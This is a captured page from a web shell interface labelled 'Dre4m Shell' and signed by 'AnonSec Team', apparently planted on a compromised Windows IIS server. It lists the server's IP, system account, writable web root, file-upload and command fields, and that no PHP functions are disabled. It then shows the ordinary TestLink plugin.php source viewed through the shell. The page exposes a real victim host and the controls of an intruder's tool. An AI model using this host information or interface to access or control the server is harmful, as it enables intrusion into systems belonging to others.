Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.15.186.56
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/jivisol1/testlink.jivisolutions.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/jivisol1/testlink.jivisolutions.com/wwwroot/plugin.php
<?php
/**
 * TestLink Open Source Project - http://testlink.sourceforge.net/
 * This script is distributed under the GNU General Public License 2 or later.
 *
 * This file is used to load pages that are inside of the plugin directory. This
 * provides context and helper functions so that they are used inside of the plugin
 *
 * @filesource  plugin.php
 * @package     TestLink
 * @Copyright   2005-2016 TestLink community
 * @link        http://www.testlink.org
 *
 */

require_once('config.inc.php');
require_once('common.php');

// Init all plugins
plugin_init_installed();

$page = $_GET['page'];
$t_matches = array();

if (!preg_match('/^([a-zA-Z0-9_-]+)\/([a-zA-Z0-9_-]+[\/a-zA-Z0-9_-]*)/', $page, $t_matches)) {
  trigger_error('Error finding page', E_USER_NOTICE);
  return;
}

$plugin_name = $t_matches[1];
$plugin_page = $t_matches[2];

global $g_plugin_cache;

$plugin_page_qualified = TL_PLUGIN_PATH . $plugin_name . DIRECTORY_SEPARATOR . 'pages' . DIRECTORY_SEPARATOR . $plugin_page . '.php';

if (!is_file($plugin_page_qualified)) {
  trigger_error('Cannot find plugin page: ' . $plugin_page_qualified, E_USER_NOTICE);
}

plugin_push_current($plugin_name);
include($plugin_page_qualified);


Anon7 - 2022
AnonSec Team